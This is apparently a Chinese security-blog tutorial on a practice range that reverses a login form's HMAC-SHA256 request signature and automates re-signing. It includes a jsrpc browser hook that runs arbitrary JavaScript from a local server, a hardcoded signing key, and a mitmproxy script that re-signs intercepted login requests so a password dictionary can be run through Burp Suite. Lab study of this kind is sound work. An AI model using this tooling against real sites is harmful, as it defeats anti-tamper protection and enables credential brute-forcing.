【js逆向】 明文加签自动加解密
原创
暗月大徒弟
暗月大徒弟
moonsec
2026年8月26日 09:00
广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
免责声明:本公众号所提供的文字和信息仅供学习和研究使用,不得用于任何非法用途。我们强烈谴责任何非法活动,并严格遵守法律法规。读者应该自觉遵守法律法规,不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。
访问靶场 选择明文加签
查看网络连接
signature 是验签 字符串 用于防篡改
分析 signature 的加密过程
dataToSign 是账号、密码、随机值、当前时间 拼接 接着通过 HmacSHA256进行编码
const dataToSign = username + password + nonce + timestamp;
const signature = CryptoJS.HmacSHA256(dataToSign, secretKey)
转换转为hex
重新封包
timestamp password可以变 其他不变 最后通过 CryptoJS.HmacSHA256(dataToSign, secretKey)生成签名即可。
使用jsrpc 在浏览器控制台上 黏贴JsEnv\_Dev.js代码
var rpc_client_id, HlClient = function (wsURL) {
this.wsURL = wsURL;
this.handlers = {
_execjs: function (resolve, param) {
try {
var fn = new Function('return (async () => { return (' + param + ') })()');
var result = fn();
if (result && typeof result.then === 'function') {
result.then(function(res) {
resolve(res !== undefined ? res : \"执行成功(无返回值)\");
}).catch(function(err) {
resolve(\"执行错误: \" + (err.message || err));
});
} else {
resolve(result !== undefined ? result : \"执行成功(无返回值)\");
}
} catch (err) {
resolve(\"语法错误: \" + (err.message || err));
}
}
};
this.socket = undefined;
if (!wsURL) {
throw new Error('wsURL can not be empty!!')
}
this.connect()
}
HlClient.prototype.connect = function () {
if (this.wsURL.indexOf(\"clientId=\") === -1 && rpc_client_id) {
this.wsURL += \"&clientId=\" + rpc_client_id
}
console.log('begin of connect to wsURL: ' + this.wsURL);
var _this = this;
try {
this.socket = new WebSocket(this.wsURL);
this.socket.onmessage = function (e) {
_this.handlerRequest(e.data)
}
} catch (e) {
console.log(\"connection failed,reconnect after 10s\");
setTimeout(function () {
_this.connect()
}, 10000)
}
this.socket.onclose = function () {
console.log('rpc已关闭');
setTimeout(function () {
_this.connect()
}, 10000)
}
this.socket.addEventListener('open', (event) => {
console.log(\"rpc连接成功\");
this._reportActions();
});
this.socket.addEventListener('error', (event) => {
console.error('rpc连接出错,请检查是否打开服务端:', event.error);
})
};
HlClient.prototype.send = function (msg) {
this.socket.send(msg)
}
HlClient.prototype.regAction = function (func_name, func) {
if (typeof func_name !== 'string') {
throw new Error(\"an func_name must be string\");
}
if (typeof func !== 'function') {
throw new Error(\"must be function\");
}
console.log(\"register func_name: \" + func_name);
this.handlers[func_name] = func;
this._reportActions();
return true
}
HlClient.prototype._reportActions = function () {
var actions = Object.keys(this.handlers);
if (this.socket && this.socket.readyState === WebSocket.OPEN) {
this.send(JSON.stringify({
\"action\": \"_registerActions\",
\"message_id\": \"\",
\"response_data\": JSON.stringify(actions)
}));
}
}
HlClient.prototype.handlerRequest = function (requestJson) {
var _this = this;
try {
var result = JSON.parse(requestJson)
} catch (error) {
console.log(\"请求信息解析错误\", requestJson);
return
}
if (result[\"registerId\"]) {
rpc_client_id = result['registerId']
return
}
if (!result['action'] || !result[\"message_id\"]) {
console.warn('没有方法或者消息id,不处理');
return
}
var action = result[\"action\"], message_id = result[\"message_id\"]
var theHandler = this.handlers[action];
if (!theHandler) {
this.sendResult(action, message_id, 'action没找到');
return
}
try {
if (!result[\"param\"]) {
const async_result = theHandler(function (response) {
_this.sendResult(action, message_id, response);
})
if (async_result && typeof async_result.then === \"function\") {
async_result.catch(e => {
_this.sendResult(action, message_id, \"\" + e);
});
}
return
}
var param = result[\"param\"]
try {
param = JSON.parse(param)
} catch (e) {
}
theHandler(function (response) {
_this.sendResult(action, message_id, response);
}, param)
} catch (e) {
console.log(\"error: \" + e);
_this.sendResult(action, message_id, \"\" + e);
}
}
HlClient.prototype.sendResult = function (action, message_id, e) {
if (typeof e === 'object' && e !== null) {
try {
e = JSON.stringify(e)
} catch (v) {
console.log(v)
}
}
this.send(JSON.stringify({\"action\": action, \"message_id\": message_id, \"response_data\": e}));
}
打开终端
注入环境
var demo = new HlClient(\"ws://127.0.0.1:12080/ws?group=zzz\");
注册函数
demo.regAction(\"sgin\", function (resolve,param) {
const username = 'admin'
\tconst password = param
\tconst nonce = 'zqqz5xi8zfi'
\tconst timestamp = Math.floor(Date.now() / 1000);
\tconst secretKey = \"be56e057f20f883e\";
\tconst dataToSign = username + password + nonce + timestamp;
\tconst signature = CryptoJS.HmacSHA256(dataToSign, secretKey)
\t\t.toString(CryptoJS.enc.Hex);
resolve({
signature: signature,
timestamp: timestamp
});
})
成功注册函数
编写python脚本进行调用
import requests,json
def sgin(password):
url = \"http://127.0.0.1:12080/go\"
params = {
\"group\": \"zzz\",
\"action\": \"sgin\",
\"param\": password
}
resp = requests.get(url, params=params, timeout=5)
resp_json = resp.json()
raw_data = resp_json[\"data\"]
if isinstance(raw_data, str):
data = json.loads(raw_data)
else:
data = raw_data
return data[\"signature\"], data[\"timestamp\"]
print(sgin(\"123456\"))
运行正常
编写 mitmproxy利用脚本
import mitmproxy
import requests
import json
from mitmproxy import ctx
def sgin(password):
url = \"http://127.0.0.1:12080/go\"
params = {
\"group\": \"zzz\",
\"action\": \"sgin\",
\"param\": password
}
resp = requests.get(url, params=params, timeout=5)
ctx.log.info(f\"[sgin] http status:{resp.status_code}, resp text:{resp.text}\")
resp_json = resp.json()
raw_data = resp_json[\"data\"]
ctx.log.info(f\"[sgin] raw_data类型:{type(raw_data)}, raw_data:{raw_data}\")
if isinstance(raw_data, str):
data = json.loads(raw_data)
else:
data = raw_data
return data[\"signature\"], data[\"timestamp\"]
class dataencrypt:
def request(self, flow: mitmproxy.http.HTTPFlow):
target_path = \"/encrypt/signdata.php\"
ctx.log.info(f\"[debug] path={flow.request.path}, method={flow.request.method}\")
real_path = flow.request.path.split('?')[0]
if flow.request.method == \"POST\" and real_path == target_path:
ctx.log.info(\"[debug] 命中目标接口!\")
try:
ctx.log.info(f\"[debug]原始请求text={flow.request.text}\")
ctx.log.info(f\"[debug]content-type={flow.request.headers.get('Content-Type','')}\")
ct = flow.request.headers.get(\"Content-Type\",\"\")
if \"application/json\" not in ct:
ctx.log.error(\"[error]不是json请求!本脚本只处理json\")
return
body_dict = json.loads(flow.request.text)
pwd = body_dict.get(\"password\")
ctx.log.info(f\"[debug]取出password={pwd}\")
new_sig, new_ts = sgin(pwd)
ctx.log.info(f\"[debug]拿到 new_sig={new_sig}, new_ts={new_ts}\")
body_dict[\"timestamp\"] = new_ts
body_dict[\"signature\"] = new_sig
ctx.log.info(f\"[debug]修改后的dict={body_dict}\")
flow.request.text = json.dumps(body_dict)
ctx.log.info(f\"[debug]最终发包body={flow.request.text}\")
except Exception as e:
import traceback
err_msg = traceback.format_exc()
ctx.log.error(f\"[exception]异常:\
{err_msg}\")
addons = [dataencrypt()]
执行命令
mitmproxy -p 9090 -s mitmproxy_sgin.py
在burpsuite上设置上游代理
执行成功
提交到攻击器 设置字典进行测试
需要本文相关工具
关注公众号回复【20260826】
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







评论